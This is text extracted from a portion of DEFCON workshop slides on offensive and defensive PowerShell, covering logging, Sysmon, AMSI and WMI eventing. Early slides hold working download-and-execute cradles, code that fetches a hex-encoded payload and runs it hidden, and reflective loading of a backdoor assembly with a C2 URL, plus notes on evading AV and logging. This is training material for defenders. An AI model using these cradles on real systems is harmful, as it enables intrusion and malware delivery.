# User Agent can be modified.


$comobj.SetRequestHeader("User-Agent", "Evil PS Cradle")
$comobj.send()
iex $comobj.responseText
Download and Execute
• WinHttp.WinHttpRequest.5.1 does not use the default
system proxy but one can be specified
– https://msdn.microsoft.com/en-us/library/windows/desktop/aa384059(v=vs.85).aspx
Cradle Execution
Cradle Execution
• PowerShell is mainly leveraged in client side attacks where
some other method is used for initial execution.
• In most cases powershell.exe is executed with an encoded
command by:
– VBS/WSH/JS Script
– Java Jar File
– HTA Script
– Microsoft Office Macro (VBA)
– CHM (Compiled HTML Help)
– PSExec/WMI

Fundamentals of Leveraging PowerShell - DEFCON


110
Tools
• Some of common tools we can use to generate files to SE
targets are:
– Unicorn by TrustedSec https://github.com/trustedsec/unicorn
– SET (Social Engineering Toolkit) by TrustedSec
https://www.trustedsec.com/social-engineer-toolkit/
– Metasploit - https://github.com/rapid7/metasploit-framework
– Nishang - https://github.com/samratashok/nishang

Fundamentals of Leveraging PowerShell - DEFCON


111
Office Macro
• Yes it is an old attack that still works and goes mostly
undetected.
• Most organizations do not implement GPOs to block macros.
• Most organizations do not monitor process creations and
those that do not look for a pattern of an office product
creating another process that is not normal.
• Disabling Windows Scripting Host and enabling Signed policy
does not affect the execution of a macro calling the Shell
method in VBA

Fundamentals of Leveraging PowerShell - DEFCON


112
Office Macro
• VBA Shell( ) Method

• COM Objects

Fundamentals of Leveraging PowerShell - DEFCON


113
Office Macro
• WMI

Fundamentals of Leveraging PowerShell - DEFCON


114
Macro
• Metasploit can generate a payload in vba-psh format
• Meterpreter Reverse HTTP:

• Shell Reverse TCP:

Fundamentals of Leveraging PowerShell - DEFCON


115
Macro

Fundamentals of Leveraging PowerShell - DEFCON


116
Nishang Macro
• Nishang has Out-Excel and Out-Word to generate Office
files with macros with a desired payload or infect other files.
• WARNING: this scripts modify the registry settings for
TrustCenter of Office without warning on the box it is
executed, downgrading your box security.

Fundamentals of Leveraging PowerShell - DEFCON


117
Macros
• Most of the self generated Macros by tools have signatures
for them.
• Simple modification and obfuscation many times is enough
to bypass AV
HTA - HTML Application
• Windows has supported HTA files since Windows 2000 and
it is used by operating system for Control Panel extensions
(Add and Remove Programs) and abused by malware writers
since.
• There is no security controls for them (No Authenticode,
Execution Restrictions, Permissions ..etc).
• HTA leverage fully the Windows COM object model.
• When a HTA File is opened via a Web Browser a warning will
be issued but the user just need to be convinced to click on
“OK”.

Fundamentals of Leveraging PowerShell - DEFCON


119
HTA - HTML Application
• Allows the use of any of the Windows Scripting Host engines

Fundamentals of Leveraging PowerShell - DEFCON


120
HTA - HTML Application
• When no engine is specified it uses the IE JavaScript engine
that allows use of COM objects via ActiveX

Fundamentals of Leveraging PowerShell - DEFCON


121
Encoding Executables
• Some network monitoring solution and endpoint solutions
will detect a PEs or Assemblies that are being downloaded.
• A simple way around this type of solutions is to encode the
payload and even encrypt it.

Fundamentals of Leveraging PowerShell - DEFCON


122
Encoding Executables
On Attacker
# Encode exe to hex
[byte[]] $hex = get-content -encoding byte –path C:\temp\evil_payload.exe

[System.IO.File]::WriteAllLines("C:\temp\hexdump.txt", ([string]$hex))

On Target
# Read file back to a byte array
[string]$hex = Get-Content -path “$($env:temp)\hexdump.txt”

[Byte[]] $temp = $hex -split ' '

[System.IO.File]::WriteAllBytes("$($env:temp\evil_payload.exe", $temp)

Fundamentals of Leveraging PowerShell - DEFCON


123
Encoding Executables
• Download Hex String from webserver, convert it to an
executable and execute it hidden from the user.
$webClient = New-Object System.NET.WebClient

$payload_url = "http://192.168.6.156/payload.txt"

$payloadhex = $webClient.DownloadString($payload_url)

[Byte[]] $temp = $payloadhex -split ' '

[System.IO.File]::WriteAllBytes("$($env:TEMP)\payload.exe", $temp)

Start-Process -FilePath "$($env:TEMP)\payload.exe" -WindowStyle Hidden

Fundamentals of Leveraging PowerShell - DEFCON


124
Encoding Assemblies
• The technique can also be used to load a .NET
Assembly that provides extended functionality or is
invoked with special parameters in memory
$webClient = New-Object System.NET.WebClient

$payload_url = "http://192.168.6.156/backdoor_apt.txt"

$payloadhex = $webClient.DownloadString($payload_url)

[Byte[]] $bin = $payloadhex -split ' '

$al = New-Object -TypeName System.Collections.ArrayList

$al.Add([strings[]]”http://myc2c.com/login”)

$asm = [System.Reflection.Assembly]::Load($bin)

$asm.EntryPoint.Invoke($null, $al.ToArray())

Fundamentals of Leveraging PowerShell - DEFCON


125
Getting Around Execution Policy
• We can get around execution policy on the command line of
PowerShell.exe with the -ExecutionPolicy option
• EXECUTION POLICY IS NOT A SECURITY BOUNDRY! REPEAT
AFTER ME!
• Attackers are buying valid code signing certificates
• Attacker buy commercial “Penetration Testing” Tools that
already have a valid code signing certificate
• They steal valid code signing certificates

126
Logging

Fundamentals of Leveraging PowerShell - DEFCON


127
Logging
• For tracking abuse of Windows PowerShell one can look at:
– Process auditing logs to detect powershell.exe and
powershell_ise.exe in addition to other processes.
– Windows PowerShell logs for:
• RunSpace (PSv2 and above)
• Module Logging (PSv3 and above)
• Transcript (PSv4/5 Windows 7, 2008 R2, 2012 R2 and 10)
• ScriptBlock Logging (PSv4/5 Windows 7, 2008 R2, 2012 R2 and 10)
• Sysinternals SysMon:
• Better process logging
• System.Management.Automation Library loading
Fundamentals of Leveraging PowerShell - DEFCON
128
Process Auditing
• In the case of Windows 2012 R2 and Windows 8.1 Microsoft
added the capability to enable command line logging for
these systems for process and child process. To enable them
one would go to Computer Configuration -> Policies ->
Administrative Templates -> System-> Audit Process
Creation
• On windows 7 and 2008 R2 with KB30004375 the
enhancement was added.
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\S
ystem\Audit REGDWORD
ProcessCreationIncludeCmdLine_Enabled 1

Fundamentals of Leveraging PowerShell - DEFCON


129
Process Auditing

Fundamentals of Leveraging PowerShell - DEFCON


130
RunSpace Logging

Fundamentals of Leveraging PowerShell - DEFCON


131
RunSpace Logging
• When launching PowerShell either locally or remotely the
following Event Log IDs will be generated in the Windows
PowerShell log:
– Event 400 Engine state is changed from None to Available (for
RunSpace, Console and ISE)
– Event 403 Engine state is changed from Available to Stopped (for
RunSpace, Console and ISE)
• If a script is ran on the ISE an event 24577 is created under
Microsoft-Windows-PowerShell/Operational log

Fundamentals of Leveraging PowerShell - DEFCON


132
RunSpace Logging - PSSession

Fundamentals of Leveraging PowerShell - DEFCON


133
RunSpace Logging - Console

Fundamentals of Leveraging PowerShell - DEFCON


134
RunSpace Logging
• When module logging is enabled on latest versions of
Windows and Windows PowerShell the Host Application
field has the command line used by the process.

Fundamentals of Leveraging PowerShell - DEFCON


135
Microsoft-Windows-PowerShell/Operational

• All event will have a Correlation Activity ID that is a unique


GUID for the session.
• All event will have the Process ID and Thread ID for the
session.
• In the case that a RunSpace is created by a .NET application
(ISE Included) only Event ID 53504 is created (PowerShell
v5).
• A lot of information is only shown when looking in Details ->
XML View

Fundamentals of Leveraging PowerShell - DEFCON


136
Module Logging

Fundamentals of Leveraging PowerShell - DEFCON


137
PowerShell Logging - Module Login
• Microsoft added the capability to log module actions on
PowerShell 3.0 and above via Group Policy
• In the Group Policy Management Console go to Computer
Configuration –> Policies –>Administrative Template–>
Windows Components -> Windows PowerShell and double
click on Turn Module Logging
• Information on the command from the module executed
and objects that traverse a Pipeline are logged in to the
Event Log under Windows PowerShell with Event ID 800

Fundamentals of Leveraging PowerShell - DEFCON


138
PowerShell Logging

Fundamentals of Leveraging PowerShell - DEFCON


139
ScriptBlock and Transcript

Fundamentals of Leveraging PowerShell - DEFCON


140
ScriptBlock and Transcript
• Microsoft extended the amount of logging information that
can be captured in PowerShell 4.0 (8.1 and 2012 R2 with KB
3000850) and 5.0
• It will log more information on each PowerShell command
ran and it will also log any script block it sees for the first
time catching any code either ran on the console, ISE or as a
parameter to PowerShell.exe.
• In the Group Policy Management Console go to Computer
Configuration –> Policies –>Administrative Template–>
Windows Components -> Windows PowerShell

Fundamentals of Leveraging PowerShell - DEFCON


141
ScriptBlock and Transcript

Fundamentals of Leveraging PowerShell - DEFCON


142
ScriptBlock and Transcript

Fundamentals of Leveraging PowerShell - DEFCON


143
ScriptBlock and Transcript
• ScriptBlock Logging is controlled by
– Path:
HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlo
ckLogging
– Value: RegDword EnableScriptBlockLogging set to 1 to enable
• Transcript Logging is controlled by
– Path:
HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcri
ption"
– Value: RegDword EnableTranscripting set to 1 to enable
– Value: RegSz OutputDirectory String of path to save transcripts to.
– Value: RegDword EnableInvocationHeader set to 1 to enable

Fundamentals of Leveraging PowerShell - DEFCON


144
ScriptBlock and Transcript
• Event will be saved in Applications and Service
Logs/Microsoft/Windows/PowerShell/Operational
• Executing Pipeline - Event ID 4103, will provide the Runspace
ID and will let you know how the runspace was started and its
parameters.
• Starting Command - Event ID 4104, provides the first time the
code has been seen since the computer rebooted and the
ScriptBlock ID for tracking execution.
• Starting/Stopping Command - Event ID 4105 (Starting
scriptblock) and 4106 (Completing scriptblock) each will
include the ScriptBlock ID and RunSpace ID
Fundamentals of Leveraging PowerShell - DEFCON
145
ScriptBlock and Transcript

Fundamentals of Leveraging PowerShell - DEFCON


146
ScriptBlock and Transcript
• Events under Applications and Service Logs/Windows
PowerShell have been enhanced to log more information:
• HostApplication it will log the command line parameters for
Event Ids 400s, 600 and 800.
• CommandLine if Module Logging is enabled it will log the
command that initiated data in the Pipeline in Event Id 800.
• ScriptName will log the full path of executed scripts.

Fundamentals of Leveraging PowerShell - DEFCON


147
ScriptBlock and Transcript

Fundamentals of Leveraging PowerShell - DEFCON


148
ScriptBlock and Transcript

Fundamentals of Leveraging PowerShell - DEFCON


149
ScriptBlock and Transcript
• Microsoft added the ability to configure transcript of actions
taken and where to save them in PowerShell 4.0 (8.1 and
2012 R2 with KB 3000850) and 5.0
• Setting can be at the user level or computer level.
• Control of the transcript settings and where to save the
transcripts can be controlled via GPO. In the Group Policy
Management Console go to Computer Configuration –>
Policies –>Administrative Template–> Windows
Components -> Windows PowerShell
• Transcripts will be retained for Runspace, Console and ISE.

Fundamentals of Leveraging PowerShell - DEFCON


150
ScriptBlock and Transcript

Fundamentals of Leveraging PowerShell - DEFCON


151
Logging Bypass

Fundamentals of Leveraging PowerShell - DEFCON


152
Logging Bypass
• An attacker that uses a UnManaged RunSpace since it
invokes and runs using the PowerShell v2 engine will bypass:
– Module Logging
– Transcript Logging
– ScriptBlock Logging
• Best mitigations is the use of Sysmon for logging the loading
of the System.Management.Automation library until
attackers find a way to expose .NET via reflective DLL load.

Fundamentals of Leveraging PowerShell - DEFCON


153
Logging Bypass
• The Dism command line tool can be used to remove
Windows PowerShell 2.0 engine.

Dism /online /Disable-Feature /FeatureName:MicrosoftWindowsPowerShellV2Root

Fundamentals of Leveraging PowerShell - DEFCON


154
Logging Bypass
• An attacker can be crafty so as to not log suspicious
command line parameters

Fundamentals of Leveraging PowerShell - DEFCON


155
Logging Bypass
• Powershell.exe accepts command from Standard Input, this
does not get logged in command line for the PowerShell
process in SysMon

Fundamentals of Leveraging PowerShell - DEFCON


156
Logging Bypass
• In the PowerShell Event Logs it does not show either.

Fundamentals of Leveraging PowerShell - DEFCON


157
Logging Bypass
• Since a Pipeline was used there is not Parent -> Child
relationship in the logs

Fundamentals of Leveraging PowerShell - DEFCON


158
Logging Bypass
• Actors like FIN7 and FIN8 use Environment Variables to hide
the commands in the command line

Fundamentals of Leveraging PowerShell - DEFCON


159
Anti-Malware Scan Interface
(AMSI)

Fundamentals of Leveraging PowerShell - DEFCON


160
Anti-Malware Scan Interface
• Since payloads have capacity of being only in memory and
code in PowerShell, VBScript and others can be easily
obfuscated MS created AMSI for Windows 10 that allows
for:
– Evaluate code just prior to execution by the script host.
– Evaluate code after all the obfuscation has been stripped away.
• By inspecting code prior to execution by the scripting engine
it allows to mitigate the limitation of many AV vendors of
only being able to act on code on disk.
• See BH17 ASMI Bypass talk

Fundamentals of Leveraging PowerShell - DEFCON


161
Anti-Malware Scan Interface

Fundamentals of Leveraging PowerShell - DEFCON


162
AV Vendor Support
• Microsoft Defender: Now • McAfee: ???
• AVG: Now (AVG • Sophos: ??
Protection 2016.7496) • Kaspersky: ??
• Avast: Now • BitDefender: ??
Trend Micro: ??
• F-Secure : ??
• Symantec: ???
• Avira : ??
• Panda : ??
• ESET: ??

Fundamentals of Leveraging PowerShell - DEFCON


163
Anti-Malware Scan Interface

Fundamentals of Leveraging PowerShell - DEFCON


164
Anti-Malware Scan Interface
• Sadly a bypass has been found for it and it is less than 140
characters

Fundamentals of Leveraging PowerShell - DEFCON


165
Sysmon

Fundamentals of Leveraging PowerShell - DEFCON


166
Process Auditing - Sysmon
• A better process auditing solution is Sysinternals Sysmon a
tool written by Mark Russinovich and Thomas Garnier.
• Main advantages with process auditing:
– Logs Process GUID
– Logs Cryptographic Hash of the process image.
– Parent process and process full command line.
– Parent Process ID and Process ID in decimal.

Fundamentals of Leveraging PowerShell - DEFCON


167
Process Auditing - Sysmon

Fundamentals of Leveraging PowerShell - DEFCON


168
Process Auditing - Sysmon
• Sysmon also is able to log network connections done by
processes both UDP and TCP every 15 seconds.
• Information logged includes:
• Protocol (UDP/TCP)
• If connection is IPv4 or IPv6
• Source and destination IP address.
• Source and destination port.
• Resolve host name of destination host.

Fundamentals of Leveraging PowerShell - DEFCON


169
Process Auditing - Sysmon

Fundamentals of Leveraging PowerShell - DEFCON


170
Sysmon Module Loading
• We can log all System.Management.Automation assembly
loading that is not done by powershell.exe or
powershell_ise.exe with Sysmon 4.0 and above

Fundamentals of Leveraging PowerShell - DEFCON


171
Sysmon Module Loading

Fundamentals of Leveraging PowerShell - DEFCON


172
WMI and CIM

Fundamentals of Leveraging PowerShell - DEFCON


173
What is WMI/CIM
• WMI - Stands for Windows Management Instrumentation,
it is Microsoft implementation of the DTMF (Distributed
Management Task Force) Web-Based Enterprise
Management (WBEM).
• Microsoft implementation is unique to their platform.
• Uses DCOM-RPC instead of the DTMF HTTP based protocol (WS-
MAN).
• Uses Common Information Model (CIM) to represent most
components of the Windows Operating System.

Fundamentals of Leveraging PowerShell - DEFCON


174
What is WMI/CIM
• WMI/CIM Information is structured in:
– Namespace – It is used to organize groups of classes and
instances inside. It also defines scope and visibility of the classes.
(They do not play a role in class inheritance)
– Class - It is the definition of an object.
–Instance - A class can zero, one or more instances
–Property - An attribute of an instance
–Method - An action we can take against an instance.
–Static Method - Something a WMI class can do.
– SubClass – it is a class that inherits from another class.
– Events - Something that happens that we can take an actions
against.

Fundamentals of Leveraging PowerShell - DEFCON


175
WMI/CIM Cmdlets
• Microsoft Provides 2 different sets of cmdlets to work with
WMI
• WMI Cmdlets in module microsoft.powershell.management
(PSv2 >)
• CIM Cmdlets in module CimCmdlets (PSv3 >)
• WMI cmdlets only work over RPC DCOM while CIM cmdlets use by
default WinRM they also support RPC DCOM and the use of
Sessions

Fundamentals of Leveraging PowerShell - DEFCON


176
WMI/CIM Cmdlets
• Accelerators [WMI] and [WMIClass] use DCOM

WMI Cmdlets CIM Cmdlets


Get-WmiObject Get-CimInstance

Get-WmiObject -list Get-CimClass

Set-WmiInstance Set-CimInstance

Set-WmiInstance New-CimInstance

Remove-WmiObject Remove-CimInstance

Invoke-WmiMethod Invoke-CimMethod

Fundamentals of Leveraging PowerShell - DEFCON


177
Exploring the WMI Namespace
• For many administrators one of the favorite tools to explore
WMI has been the standalone WMIExplorer.exe from
https://wmie.codeplex.com/
• Microsofts Scripting Guy WMIExplorer.ps1
http://gallery.technet.microsoft.com/scriptcenter/89c759b7
-20b4-49e8-98a8-3c8fbdb2dd69
• All tools provide a GUI way to explorer WMI
– They tend to be slow since they parse all classes and namespaces
when exploring
– Filtering for information is not the best.

Fundamentals of Leveraging PowerShell - DEFCON


178
Exploring WMI
• When using the WMI cmdlets the one that is used the most
is Get-WMIObject and Get-CimInstance
• Lets use the cmdlet to explore Namespaces
# List all namespaces in the default root/cimv2
Get-WmiObject -Class __namespace | Select-Object Name

Get-CimInstance -ClassName __namespace | Select-Object Name

#List all namespaces under root/microsoft


Get-WmiObject -Class __namespace -Namespace root/microsoft

Get-CimInstance -ClassName __namespace -Namespace root/microsoft

Fundamentals of Leveraging PowerShell - DEFCON


179
Exploring WMI
• For Exploring classes in namespaces
# To list classes under the default namespace
Get-WmiObject -List *
Get-CimClass -ClassName *

# To Filter Classes with the word network in their name


Get-WmiObject -List *network*
Get-CimClass -ClassName *network*

# To list classes in another namespace


Get-WmiObject -List * -Namespace root/microsoft/homenet
Get-CimClass -ClassName * -Namespace root/microsoft/homenet

# To get a description of a class


(Get-WmiObject -list win32_service -Amended).qualifiers |
Select-Object name, value | ft -AutoSize -Wrap

Fundamentals of Leveraging PowerShell - DEFCON


180
Working with Instances

Query
CIM DB

Instances

Fundamentals of Leveraging PowerShell - DEFCON


Using WMI
• When working with instances form WMI Classes we have 2
methods to query the info with Get-WMIObject.
• Direct
Get-WmiObject -Class win32_service

• Using WQL (WMI Query Langue)


Get-WmiObject -Query "SELECT * FROM win32_service"
• The WQL is very similar to SQL in fact they are almost
identical.

Fundamentals of Leveraging PowerShell - DEFCON


182
Using WMI
• One of the main actions that we will be taking with WMI
most of the time is using the instance or instances of objects
it created and take actions based on properties or use
methods on such instances.
• To list Methods and Properties since we we are dealing with
object the use of Get-Members is the one we might use the
most.
Get-WmiObject -Class win32_share | Get-Member

Fundamentals of Leveraging PowerShell - DEFCON


183
Using WMI
• PowerShell treats WMI objects the same as .NET Objects so
we can use Select-Object, Where-Object, ForEach-
Object and Formatting cmdlets like we would do with any
other .NET object type.
• In the case of WMI with Get-WMIObject we also have the
ability to use filters based on WQL Operators with the
-Filter parameter

Fundamentals of Leveraging PowerShell - DEFCON


184
Working with CIM Classes

CIM Class
Provider
Resource

Fundamentals of Leveraging PowerShell - DEFCON


Using WMI
• Several WMI classes have Static methods that allow us to
use the Class capabilities not related to an instance.
• To list static methods for a class
$wmishare = [wmiclass]"win32_process"
$wmishare.Methods

• To invoke a method
Invoke-WMIMethod -class Win32_Process -Name create `
-ArgumentList 'calc.exe'

Fundamentals of Leveraging PowerShell - DEFCON


186
WMF 3.0 and above
• WMI uses RPC to access the information on local and
remote hosts.
• On Windows Management Framework 3 and above MS
started to changed to CIM over WinRM with CIM Cmdlets
• There are some changes in the objects returned since CIM
uses XML for the communication the objects are
Deserialized.

Fundamentals of Leveraging PowerShell - DEFCON


187
CIM Cmdlets
• To get a list of all WMI Cmdlets
Get-Command -noun wmi*

• On PSv3 and above all CIM cmdlets are part of a Module


Get-Command -module CimCmdlets

• Microrosft Merged in to the CIM Cmdlets the WSMAN and


WMI functionality

Fundamentals of Leveraging PowerShell - DEFCON


188
Using CIM Cmdlets
• Filtering of class names
Get-CimClass -ClassName win32_*

• Searching classes for those that have specific Method and


Properties
Get-CimClass -MethodName "create"
Get-CimClass -PropertyName "startname"

• Listing Classes in other namespaces


Get-CimClass -Namespace root/microsoft/homenet

Fundamentals of Leveraging PowerShell - DEFCON


189
Using CIM Cmdlets
• To get the instances of a specific class
Get-CimInstance -ClassName win32_service

• To invoke a static method of a class


Invoke-CimMethod Win32_Process -MethodName create `
-Arguments @{CommandLine='calc.exe'}

• Using WQL and Filters


# Using WQL
Get-CimInstance -Query "select * from win32_service where
name='BITS'"

# Using WQL Filter


Get-CimInstance -ClassName win32_service -Filter "name='BITS'"
Fundamentals of Leveraging PowerShell - DEFCON
190
WMI/CIM Eventing

Fundamentals of Leveraging PowerShell - DEFCON


191
WMI Events
• WMI Events are those events that happen when a specific
Event Class instance is created or they are defined in the
WMI Model.
• We can monitor and take certain actions when these events
occur by using subscription that monitor for them.
• There are 2 types of WMI Event Subscription:
– Temporary – Subscription is active as long as the process that
created the subscription is active. (They run under the privilege of
the process)
– Permanent – Subscription is stored in the CIM Database and are
active until removed from it. (They always run as SYSTEM)
Fundamentals of Leveraging PowerShell - DEFCON
192
WMI Events
• All event subscriptions have 3 components:
– Filter – WQL Query for the events we want.
– Consumer – An action to take upon triggering the filter
– Binding – Registers a Filter to a Consumer.
• The filter and consumer are created individually, once
created they are registered together.

Fundamentals of Leveraging PowerShell - DEFCON


193
WMI/CIM Events

Filter Consumer
(WQL Query) (Action)
WMI Temporary Subscription
WMI Events
• Temporary subscription are the simplest of the WMI
Subscriptions since they are done with a single cmdlet in
PowerShell.
• PowerShell v2 introduced a cmdlet to make temporary
event registration simpler Register-WMIEvent
• With PowerShell v3 and above the cmdlet for temporary
events Register-CimIndicationEvent is used.
• Permanent WMI events are more involved.

Fundamentals of Leveraging PowerShell - DEFCON


196
WMI Events
• Temporary subscription run inside of a process under its
context

Query

Action
Fundamentals of Leveraging PowerShell - DEFCON
197
WMI Events
• Register-WmiEvent acts as the Binder for the Filter
(Query,Class) and the Consumer (Action)

Register-WmiEvent [-Class] <String> [[-SourceIdentifier] <String>] [[-Action] <ScriptBlock>]


[-ComputerName <String>] [-Credential <PSCredential>] [-Forward] [-MaxTriggerCount <Int32>]
[-MessageData <PSObject>] [-Namespace <String>] [-SupportEvent] [-Timeout <Int64>]
[<CommonParameters>]

Register-WmiEvent [-Query] <String> [[-SourceIdentifier] <String>] [[-Action] <ScriptBlock>]


[-ComputerName <String>] [-Credential <PSCredential>] [-Forward] [-MaxTriggerCount <Int32>]
[-MessageData <PSObject>] [-Namespace <String>] [-SupportEvent] [-Timeout <Int64>]
[<CommonParameters>]

Fundamentals of Leveraging PowerShell - DEFCON


198
WMI Temporary Subscription
• When you register a temporary subscription event you can
provide a SourceIdentifier as a easy to remember and
reference, if one is not provided a GUID will be generated as
one.

Fundamentals of Leveraging PowerShell - DEFCON


199
WMI Events
• To get subscribed events we use Get-EventSubscriber

Fundamentals of Leveraging PowerShell - DEFCON


200
WMI Events
• To remove subscribed events we use Unregister-Event
• It does not return any object.

Fundamentals of Leveraging PowerShell - DEFCON


201
WMI Events

Fundamentals of Leveraging PowerShell - DEFCON


202
WMI Event Types
WMI Events
• There are 3 types of WMI event filters:
– Intrinsic Events - are used to monitor a resource represented by
a class in the CIM repository.
– Extrinsic Events - represent events that do not directly link to
standard WMI model. Example, Windows registry defines
extrinsic events for all registry change events. WMI providers
isn’t mandatory.
– Timer Events - events are a specialized kind of intrinsic event.
WMI uses preconfigured event timers within the repository to
generate timer events.

Fundamentals of Leveraging PowerShell - DEFCON


204
Intrinsic Events
WMI Intrinsic Events Types
• A intrinsic event checks the CIM database in a interval for
specific instances of a class and take a action when found.

Query

Instance

CIM DB
Action

Fundamentals of Leveraging PowerShell - DEFCON


206
WMI Intrinsic Events
• Intrinsic events are used to monitor a resource represented
by a class in the CIM repository.
• When working with Intrinsic Events the 3 most common
event classes are:
– __InstanceCreationEvent - This class is used when we want to
receive a notification upon creation of an instance.
– __InstanceModificationEvent - This class is used when we want
to receive a notification upon deletion of an instance.
– __InstanceOperationEvent - This class is used when we want to
monitor changes to an existing instance or a resource.
– These classes are derived from __InstanceOperationEvent
Fundamentals of Leveraging PowerShell - DEFCON
207
WMI Intrinsic Events
• The 3 key operators when working with event filters are:
– WITHIN - Used to specify a polling interval or grouping interval. The
interval is the time to wait for a event to be delivered.
– GROUP - Used to generate a single notification to represent a group
of events. It returns a 'Representative' that contains one object of the
type of instances received and 'NumberOfEvents' that is the number
of events received during that interval.
– HAVING - Used in conjunction with GROUP when we only want to
receive an event notification when a certain amount of events are
received in that interval.

Fundamentals of Leveraging PowerShell - DEFCON


208
WMI Intrinsic Events
• One caveat to keep in mind is that this type of event is queried
in a interval, if the event is created and destroyed inside this
interval it will be missed.

Fundamentals of Leveraging PowerShell - DEFCON


209
__InstanceCreationEvent
# Query for new process events
$queryCreate = "SELECT * FROM __InstanceCreationEvent WITHIN 5" +
"WHERE TargetInstance ISA 'Win32_Process'"

# Create an Action
$CreateAction = {
$name = $event.SourceEventArgs.NewEvent.TargetInstance.name
write-host "Process $($name) was created."
}

# Register WMI event


Register-WMIEvent -Query $queryCreate -Action $CreateAction

Fundamentals of Leveraging PowerShell - DEFCON


210
__InstanceDeletionEvent
# Query for process termination
$queryDelete = "SELECT * FROM __InstanceDeletionEvent WITHIN 5"+
"WHERE TargetInstance ISA 'Win32_Process'"

# Create Action
$DeleteAction = {
$name = $event.SourceEventArgs.NewEvent.TargetInstance.name
write-host "Process $($name) has closed."
}

# Register WMI Event


Register-WMIEvent -Query $queryDelete -Action $DeleteAction

Fundamentals of Leveraging PowerShell - DEFCON


211
__InstanceModificationEvent
# Query for service modification
$queryModify = "SELECT * FROM __InstanceModificationEvent WITHIN 5"+
"WHERE TargetInstance ISA 'win32_service' AND TargetInstance.Name='BITS'"

# Create Action
$ModifyAction = {
$name = $event.SourceEventArgs.NewEvent.TargetInstance.name
write-host "Service $($name) was modified."
}

# Register WMI Event


Register-WMIEvent -Query $queryModify -Action $ModifyAction

Fundamentals of Leveraging PowerShell - DEFCON


212
WMI Eventing
• WITHIN:
SELECT * FROM EventClass WITHIN interval WHERE property = value

"SELECT * FROM __instanceCreationEvent


WITHIN 10 WHERE TargetInstance ISA 'Win32_Process'"

• GROUP:
SELECT * FROM EventClass [WHERE property = value] GROUP WITHIN interval

"SELECT * FROM __instanceCreationEvent WHERE TargetInstance ISA 'Win32_NTLogEvent'


AND TargetInstance.EventCode = 4625
GROUP WITHIN 300”

Fundamentals of Leveraging PowerShell - DEFCON


213
WMI Eventing
• HAVING:
SELECT * FROM EventClass [WHERE property = value] GROUP WITHIN interval
HAVING NumberOfEvents operator constant

"SELECT * FROM __instanceCreationEvent WHERE TargetInstance ISA 'Win32_NTLogEvent'


AND TargetInstance.EventCode = 4625
GROUP WITHIN 300
HAVING NumberOfEvents > 10"

Fundamentals of Leveraging PowerShell - DEFCON


214
Recommendation
• Avoid using very small WITHIN intervals since it will add load
to a server.
• Test your queries and the CPU impact they may have.
• Test all queries in conjunction and not individually since they
add up.

Fundamentals of Leveraging PowerShell - DEFCON


215
Extrinsic Events
WMI Extrinsic Events Types
• Extrinsic events represent events that do not directly link to a
standard WMI model. Examples are Registry, Routing Table and
other

Query

Provider

Action Resource

Fundamentals of Leveraging PowerShell - DEFCON


217
WMI Extrinsic Events
• The most common use of this event is for registry monitoring:
– RegistryKeyChangeEvent - It triggers on a specific registry key
change.
– RegistryTreeChangeEvent - It triggers on a change on the current key
or any key under the root of it.
– RegistryValueChangeEvent - It triggers on a change on a specific value.
• None of the registry events provide information on specifically what
changed.

Fundamentals of Leveraging PowerShell - DEFCON


218
RegistryKeyChangeEvent

$query = "SELECT * FROM RegistryKeyChangeEvent " +


"WHERE Hive =' HKEY_LOCAL_MACHINE' " +
"AND KeyPath =' Software\Microsoft\Windows\CurrentVersion\Run'"

Register-WMIEvent -Query $ query -Action {


Write-host "Possible persistence in RunOnce"}

Fundamentals of Leveraging PowerShell - DEFCON


219
RegistryValueChangeEvent

$query = "SELECT * FROM RegistryValueChangeEvent “ +


"WHERE Hive =' HKEY_LOCAL_MACHINE' " +
"AND KeyPath =‘SOFTWARE\Microsoft\” +
"Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe' “ +
"AND ValueName =' Debugger’"

Register-WMIEvent -Query $query -Action {


Write-Host "UtilMan persistence detected" }

Fundamentals of Leveraging PowerShell - DEFCON


220
RegistryTreeChangeEvent

$query = "SELECT * FROM RegistryTreeChangeEvent "+


"WHERE Hive =' HKEY_LOCAL_MACHINE' "+
"AND RootPath ='Software\Microsoft\Windows\CurrentVersion\Uninstall'"

Register-WMIEvent -Query $ query -Action {


Write-host "A Installed package was uninstalled or modified." }

Fundamentals of Leveraging PowerShell - DEFCON


221
WMI Extrinsic Events
• The Kernel Trace Provider provides some useful extrinsic
event classes:
• Win32_ProcessStartTrace - indicates that a new process has
started.
• Win32_ProcessStopTrace - indicates that a process is terminated.
• Win32_ModuleLoadTrace - indicates that a process has loaded a
new module.
• No need to put a interval for the query with Extrinsic Events
since they will trigger immediately.

Fundamentals of Leveraging PowerShell - DEFCON


222
WMI Extrinsic Events

$query = 'SELECT * FROM Win32_ModuleLoadTrace' +


' WHERE FileName LIKE “%System.Management.Automation%.dll%"'

Register-WMIEvent -Query $query -Action {


Write-host "Management Automation assembly has been loaded." }

Fundamentals of Leveraging PowerShell - DEFCON


223
Timer Event
WMI Timer Events Types
• A timer event uses the __InstanceModificationEvent to
monitor the Win32_LocalTime class properties.

Query

CIM DB
Action

Fundamentals of Leveraging PowerShell - DEFCON


225
WMI Timer Events
• Timer events is a great way to schedule an action to happen
at a specific interval or moment in time.
• Does not leave a footprint on the event log like Schedules
Tasks on most versions of Windows with the exception of
Windows 2012 R2 and Windows 10 Pro/Ent.
• There is a bug with DayOfWeek that if specified once it will
not trigger.

Fundamentals of Leveraging PowerShell - DEFCON


226
WMI/CIM Timer Events
• Time properties are for the UTC TimeZone

Fundamentals of Leveraging PowerShell - DEFCON


227
WMI/CIM Timer Events

#Setup WQL query


$TimerQuery = "SELECT * FROM __InstanceModificationEvent WHERE
TargetInstance ISA
'Win32_LocalTime'
AND (TargetInstance.Second=30
OR TargetInstance.Second=1)"
#Register WMI Event
Register-WmiEvent -Query $TimerQuery -Action {
Write-Host "Event every 30 seconds triggered" }

Fundamentals of Leveraging PowerShell - DEFCON


228
Permanent Events

Fundamentals of Leveraging PowerShell - DEFCON


229
WMI Permanent Events
• Permanent events survive reboots by being stored inside the
CIM database (objects.data).
• They run as SYSTEM under the context of wmiprvse.exe
• They take a bit more effort since we have to build each part
individually and saved in the CIM database.
• Only a small set of consumer actions are available.
• Each component needs to be removed individually.
– Filter – WQL Query for the events we want.
– Consumer – An action to take upon triggering the filter
– Binding – Registers a Filter to a Consumer.
Fundamentals of Leveraging PowerShell - DEFCON
230
WMI Permanent Events

CIM DB

Action

